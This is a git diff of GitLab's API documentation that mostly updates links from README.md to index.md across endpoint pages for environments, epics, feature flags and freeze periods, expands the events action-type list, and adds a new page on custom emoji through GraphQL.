@@ -22,7 +22,7 @@ GET /projects/:id/dora/metrics
| Attribute | Type | Required | Description |
|-------------- |-------- |----------|----------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) can be accessed by the authenticated user. |
| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. |
| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. |
| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. |
@@ -62,7 +62,7 @@ GET /groups/:id/dora/metrics
| Attribute | Type | Required | Description |
|-------------- |-------- |----------|----------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) can be accessed by the authenticated user. |
| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. |
| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. |
| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. |
diff --git a/doc/api/environments.md b/doc/api/environments.md
index 4c93b3b15d5..25690cc099a 100644
--- a/doc/api/environments.md
+++ b/doc/api/environments.md
@@ -17,7 +17,7 @@ GET /projects/:id/environments
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | no | Return the environment with this name. Mutually exclusive with `search` |
| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name` |
| `states` | string | no | List all environments that match a specific state. Accepted values: `available` or `stopped`. If no state value given, returns all environments. |
@@ -48,7 +48,7 @@ GET /projects/:id/environments/:environment_id
| Attribute | Type | Required | Description |
|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `environment_id` | integer | yes | The ID of the environment |
```shell
@@ -159,7 +159,7 @@ POST /projects/:id/environments
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the environment |
| `external_url` | string | no | Place to link to for this environment |
@@ -192,7 +192,7 @@ PUT /projects/:id/environments/:environments_id
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `environment_id` | integer | yes | The ID of the environment |
| `name` | string | no | The new name of the environment |
| `external_url` | string | no | The new `external_url` |
@@ -224,7 +224,7 @@ DELETE /projects/:id/environments/:environment_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `environment_id` | integer | yes | The ID of the environment |
```shell
@@ -241,7 +241,7 @@ POST /projects/:id/environments/:environment_id/stop
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `environment_id` | integer | yes | The ID of the environment |
```shell
diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md
index 3644375ad0a..dfc54cd81aa 100644
--- a/doc/api/epic_issues.md
+++ b/doc/api/epic_issues.md
@@ -16,7 +16,7 @@ If the Epics feature is not available, a `403` status code is returned.
## Epic Issues pagination
-API results [are paginated](README.md#pagination). Requests that return
+API results [are paginated](index.md#pagination). Requests that return
multiple issues default to returning 20 results at a time.
## List issues for an epic
@@ -29,7 +29,7 @@ GET /groups/:id/epics/:epic_iid/issues
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
```shell
@@ -124,7 +124,7 @@ POST /groups/:id/epics/:epic_iid/issues/:issue_id
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
| `issue_id` | integer/string | yes | The ID of the issue. |
@@ -230,7 +230,7 @@ DELETE /groups/:id/epics/:epic_iid/issues/:epic_issue_id
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | -----------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
| `epic_issue_id` | integer/string | yes | The ID of the issue - epic association. |
@@ -336,7 +336,7 @@ PUT /groups/:id/epics/:epic_iid/issues/:epic_issue_id
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | -----------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
| `epic_issue_id` | integer/string | yes | The ID of the issue - epic association. |
| `move_before_id` | integer/string | no | The ID of the issue - epic association that should be placed before the link in the question. |
diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md
index e570b9f31cf..5d8a92d0263 100644
--- a/doc/api/epic_links.md
+++ b/doc/api/epic_links.md
@@ -28,7 +28,7 @@ GET /groups/:id/epics/:epic_iid/epics
| Attribute | Type | Required | Description |
| ---------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer | yes | The internal ID of the epic. |
```shell
@@ -82,7 +82,7 @@ POST /groups/:id/epics/:epic_iid/epics/:child_epic_id
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer | yes | The internal ID of the epic. |
| `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. |
@@ -135,7 +135,7 @@ POST /groups/:id/epics/:epic_iid/epics
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. |
| `title` | string | yes | The title of a newly created epic. |
| `confidential` | boolean | no | Whether the epic should be confidential. Parameter is ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. |
@@ -169,7 +169,7 @@ PUT /groups/:id/epics/:epic_iid/epics/:child_epic_id
| Attribute | Type | Required | Description |
| ---------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `epic_iid` | integer | yes | The internal ID of the epic. |
| `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. |
| `move_before_id` | integer | no | The global ID of a sibling epic that should be placed before the child epic. |
@@ -226,7 +226,7 @@ DELETE /groups/:id/epics/:epic_iid/epics/:child_epic_id
| Attribute | Type | Required | Description |
| --------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `epic_iid` | integer | yes | The internal ID of the epic. |
| `child_epic_id` | integer | yes | The global ID of the child epic. Internal ID can't be used because they can conflict with epics from other groups. |
diff --git a/doc/api/epics.md b/doc/api/epics.md
index d501d61bfb8..263cfe5806e 100644
--- a/doc/api/epics.md
+++ b/doc/api/epics.md
@@ -37,7 +37,7 @@ fields `start_date_is_fixed` and `due_date_is_fixed`, and four date fields `star
By default, `GET` requests return 20 results at a time because the API results
are paginated.
-Read more on [pagination](README.md#pagination).
+Read more on [pagination](index.md#pagination).
WARNING:
> `reference` attribute in response is deprecated in favour of `references`.
@@ -60,11 +60,11 @@ GET /groups/:id/epics?state=opened
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `author_id` | integer | no | Return epics created by the given user `id` |
| `labels` | string | no | Return epics matching a comma separated list of labels names. Label names from the epic group or a parent group can be used |
| `with_labels_details` | boolean | no | If `true`, response returns more details for each label in labels field: `:name`, `:color`, `:description`, `:description_html`, `:text_color`. Default is `false`. Available in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413) and later |
-| `order_by` | string | no | Return epics ordered by `created_at` or `updated_at` fields. Default is `created_at` |
+| `order_by` | string | no | Return epics ordered by `created_at`, `updated_at`, or `title` fields. Default is `created_at` |
| `sort` | string | no | Return epics sorted in `asc` or `desc` order. Default is `desc` |
| `search` | string | no | Search epics against their `title` and `description` |
| `state` | string | no | Search epics against their `state`, possible filters: `opened`, `closed` and `all`, default: `all` |
@@ -190,7 +190,7 @@ GET /groups/:id/epics/:epic_iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
```shell
@@ -263,7 +263,7 @@ POST /groups/:id/epics
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `title` | string | yes | The title of the epic |
| `labels` | string | no | The comma separated list of labels |
| `description` | string | no | The description of the epic. Limited to 1,048,576 characters. |
@@ -345,7 +345,7 @@ PUT /groups/:id/epics/:epic_iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic |
| `title` | string | no | The title of an epic |
| `description` | string | no | The description of an epic. Limited to 1,048,576 characters. |
@@ -420,7 +420,7 @@ DELETE /groups/:id/epics/:epic_iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer/string | yes | The internal ID of the epic. |
```shell
@@ -439,7 +439,7 @@ POST /groups/:id/epics/:epic_iid/todo
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer | yes | The internal ID of a group's epic |
```shell
diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md
index 306383c2de7..fbfd2a69ef7 100644
--- a/doc/api/error_tracking.md
+++ b/doc/api/error_tracking.md
@@ -21,7 +21,7 @@ GET /projects/:id/error_tracking/settings
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/error_tracking/settings"
@@ -48,7 +48,7 @@ PATCH /projects/:id/error_tracking/settings
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `active` | boolean | yes | Pass `true` to enable the already configured error tracking settings or `false` to disable it. |
```shell
diff --git a/doc/api/events.md b/doc/api/events.md
index 49d99cc43fe..7088eb65bd4 100644
--- a/doc/api/events.md
+++ b/doc/api/events.md
@@ -10,20 +10,52 @@ info: To determine the technical writer assigned to the Stage/Group associated w
### Action Types
-Available action types for the `action` parameter are:
+Available types for the `action` parameter, and the resources that might be affected:
- `approved`
-- `created`
-- `updated`
+ - Merge request
- `closed`
-- `reopened`
-- `pushed`
-- `commented`
-- `merged`
-- `joined`
-- `left`
+ - Epic
+ - Issue
+ - Merge request
+ - Milestone
+- `commented` on any `Noteable` record.
+ - Alert
+ - Commit
+ - Design
+ - Issue
+ - Merge request
+ - Snippet
+- `created`
+ - Design
+ - Epic
+ - Issue
+ - Merge request
+ - Milestone
+ - Project
+ - Wiki page
- `destroyed`
+ - Design
+ - Milestone
+ - Wiki page
- `expired`
+ - Project membership
+- `joined`
+ - Project membership
+- `left`
+ - Project membership
+- `merged`
+ - Merge request
+- `pushed` commits to (or deleted commits from) a repository, individually or in bulk.
+ - Project
+- `reopened`
+ - Epic
+ - Issue
+ - Merge request
+ - Milestone
+- `updated`
+ - Design
+ - Wiki page
Note that these options are in lower case.
@@ -283,7 +315,7 @@ Parameters:
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `action` | string | no | Include only events of a particular [action type](#action-types) |
| `target_type` | string | no | Include only events of a particular [target type](#target-types) |
| `before` | date | no | Include only events created before a particular date. [View how to format dates](#date-formatting). |
diff --git a/doc/api/feature_flag_user_lists.md b/doc/api/feature_flag_user_lists.md
index af8b3fcc71e..4306167603d 100644
--- a/doc/api/feature_flag_user_lists.md
+++ b/doc/api/feature_flag_user_lists.md
@@ -15,7 +15,7 @@ Users with Developer or higher [permissions](../user/permissions.md) can access
NOTE:
`GET` requests return twenty results at a time because the API results
-are [paginated](README.md#pagination). You can change this value.
+are [paginated](index.md#pagination). You can change this value.
## List all feature flag user lists for a project
@@ -27,7 +27,7 @@ GET /projects/:id/feature_flags_user_lists
| Attribute | Type | Required | Description |
| --------- | -------------- | -------- | -------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `search` | string | no | Return user lists matching the search criteria. |
```shell
@@ -69,7 +69,7 @@ POST /projects/:id/feature_flags_user_lists
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `name` | string | yes | The name of the feature flag. |
| `user_xids` | string | yes | A comma separated list of user IDs. |
@@ -109,7 +109,7 @@ GET /projects/:id/feature_flags_user_lists/:iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `iid` | integer/string | yes | The internal ID of the project's feature flag user list. |
```shell
@@ -140,7 +140,7 @@ PUT /projects/:id/feature_flags_user_lists/:iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `iid` | integer/string | yes | The internal ID of the project's feature flag user list. |
| `name` | string | no | The name of the feature flag. |
| `user_xids` | string | no | A comma separated list of user IDs. |
@@ -181,7 +181,7 @@ DELETE /projects/:id/feature_flags_user_lists/:iid
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `iid` | integer/string | yes | The internal ID of the project's feature flag user list |
```shell
diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md
index 50cb9b1141e..b40a3994dbf 100644
--- a/doc/api/feature_flags.md
+++ b/doc/api/feature_flags.md
@@ -16,7 +16,7 @@ Users with Developer or higher [permissions](../user/permissions.md) can access
## Feature Flags pagination
By default, `GET` requests return 20 results at a time because the API results
-are [paginated](README.md#pagination).
+are [paginated](index.md#pagination).
## List feature flags for a project
@@ -28,7 +28,7 @@ GET /projects/:id/feature_flags
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. |
```shell
@@ -98,7 +98,7 @@ GET /projects/:id/feature_flags/:feature_flag_name
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `feature_flag_name` | string | yes | The name of the feature flag. |
```shell
@@ -142,13 +142,13 @@ POST /projects/:id/feature_flags
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `name` | string | yes | The name of the feature flag. |
| `version` | string | yes | The version of the feature flag. Must be `new_version_flag`. Omit or set to `legacy_flag` to create a [Legacy Feature Flag](feature_flags_legacy.md). |
| `description` | string | no | The description of the feature flag. |
| `active` | boolean | no | The active state of the flag. Defaults to true. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. |
| `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). |
-| `strategies:name` | JSON | no | The strategy name. Can be `default`, `gradualRolloutUserId`, `userWithId`, or `gitlabUserList`. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/36380) and later, can be [`flexibleRollout`](https://docs.getunleash.io/docs/activation_strategy#flexiblerollout). |
+| `strategies:name` | JSON | no | The strategy name. Can be `default`, `gradualRolloutUserId`, `userWithId`, or `gitlabUserList`. In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/36380) and later, can be [`flexibleRollout`](https://docs.getunleash.io/activation_strategy/#flexiblerollout). |
| `strategies:parameters` | JSON | no | The strategy parameters. |
| `strategies:scopes` | JSON | no | The scopes for the strategy. |
| `strategies:scopes:environment_scope` | string | no | The environment spec for the scope. |
@@ -203,7 +203,7 @@ PUT /projects/:id/feature_flags/:feature_flag_name
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `feature_flag_name` | string | yes | The current name of the feature flag. |
| `description` | string | no | The description of the feature flag. |
| `active` | boolean | no | The active state of the flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. |
@@ -278,7 +278,7 @@ DELETE /projects/:id/feature_flags/:feature_flag_name
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `feature_flag_name` | string | yes | The name of the feature flag. |
```shell
diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md
index 50f1fe9f12b..454d2dfb1c5 100644
--- a/doc/api/freeze_periods.md
+++ b/doc/api/freeze_periods.md
@@ -26,7 +26,7 @@ GET /projects/:id/freeze_periods
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
Example request:
@@ -59,7 +59,7 @@ GET /projects/:id/freeze_periods/:freeze_period_id
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `freeze_period_id` | string | yes | The database ID of the Freeze Period. |
Example request:
@@ -91,7 +91,7 @@ POST /projects/:id/freeze_periods
| Attribute | Type | Required | Description |
| -------------------| --------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `freeze_start` | string | yes | Start of the Freeze Period in [cron](https://crontab.guru/) format. |
| `freeze_end` | string | yes | End of the Freeze Period in [cron](https://crontab.guru/) format. |
| `cron_timezone` | string | no | The timezone for the cron fields, defaults to UTC if not provided. |
@@ -127,7 +127,7 @@ PUT /projects/:id/freeze_periods/:tag_name
| Attribute | Type | Required | Description |
| ------------- | --------------- | -------- | ----------------------------------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `freeze_period_id` | integer or string | yes | The database ID of the Freeze Period. |
| `freeze_start` | string | no | Start of the Freeze Period in [cron](https://crontab.guru/) format. |
| `freeze_end` | string | no | End of the Freeze Period in [cron](https://crontab.guru/) format. |
@@ -164,7 +164,7 @@ DELETE /projects/:id/freeze_periods/:freeze_period_id
| Attribute | Type | Required | Description |
| ------------- | -------------- | -------- | ----------------------------------------------------------------------------------- |
-| `id` | integer or string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). |
| `freeze_period_id` | string | yes | The database ID of the Freeze Period. |
Example request:
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index 7926aeeeed7..42cf40d62b8 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -741,7 +741,7 @@ GET /geo_nodes/current/failures
| `type` | string | no | Type of failed objects (`repository`/`wiki`) |
| `failure_type` | string | no | Type of failures (`sync`/`checksum_mismatch`/`verification`) |
-This endpoint uses [Pagination](README.md#pagination).
+This endpoint uses [Pagination](index.md#pagination).
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://primary.example.com/api/v4/geo_nodes/current/failures"
diff --git a/doc/api/graphql/custom_emoji.md b/doc/api/graphql/custom_emoji.md
new file mode 100644
index 00000000000..a4d0acda8e7
--- /dev/null
+++ b/doc/api/graphql/custom_emoji.md
@@ -0,0 +1,111 @@
+---
+stage: Plan
+group: Project Management
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Use custom emojis with GraphQL **(FREE SELF)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37911) in GitLab 13.6
+> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-custom-emoji-api). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../../user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+To use custom emoji in comments and descriptions, you can add them to a group using the GraphQL API.
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+| :----------- | :------------- | :--------------------- | :------------------------------------------------------------------------ |
+| `group_path` | integer/string | **{check-circle}** Yes | ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) |
+| `name` | string | **{check-circle}** Yes | Name of the custom emoji. |
+| `file` | string | **{check-circle}** Yes | URL of the custom emoji image. |
+
+## Create a custom emoji
+
+```graphql
+mutation CreateCustomEmoji($groupPath: ID!) {
+ createCustomEmoji(input: {groupPath: $groupPath, name: "party-parrot", file: "https://cultofthepartyparrot.com/parrots/hd/parrot.gif", external: true}) {
+ clientMutationId
+ name
+ errors
+ }
+}
+```
+
+After adding custom emoji to the group, members can use it in the same way as other emoji in the comments.
+
+## Get custom emoji for a group
+
+```graphql
+query GetCustomEmoji($groupPath: ID!) {
+ group(fullPath: $groupPath) {
+ id
+ customEmoji {
+ nodes {
+ name
+ }
+ }
+ }
+}
+```
+
+## Set up the GraphiQL explorer
+
+This procedure presents a substantive example that you can copy and paste into GraphiQL
+explorer. GraphiQL explorer is available for:
+
+- GitLab.com users at [https://gitlab.com/-/graphql-explorer](https://gitlab.com/-/graphql-explorer).
+- Self-managed users at `https://gitlab.example.com/-/graphql-explorer`.
+
+1. Copy the following code excerpt:
+
+ ```graphql
+ query GetCustomEmoji {
+ group(fullPath: "gitlab-org") {
+ id
+ customEmoji {
+ nodes {
+ name,
+ url
+ }
+ }
+ }
+ }
+ ```
+
+1. Open the [GraphiQL explorer tool](https://gitlab.com/-/graphql-explorer).
+1. Paste the `query` listed above into the left window of your GraphiQL explorer tool.
+1. Click Play to get the result shown here:
+
+![GraphiQL explore custom emoji query](img/custom_emoji_query_example.png)
+
+For more information on:
+
+- GraphQL specific entities, such as Fragments and Interfaces, see the official
+ [GraphQL documentation](https://graphql.org/learn/).
+- Individual attributes, see the [GraphQL API Resources](reference/index.md).
+
+## Enable or disable custom emoji API **(FREE SELF)**
+
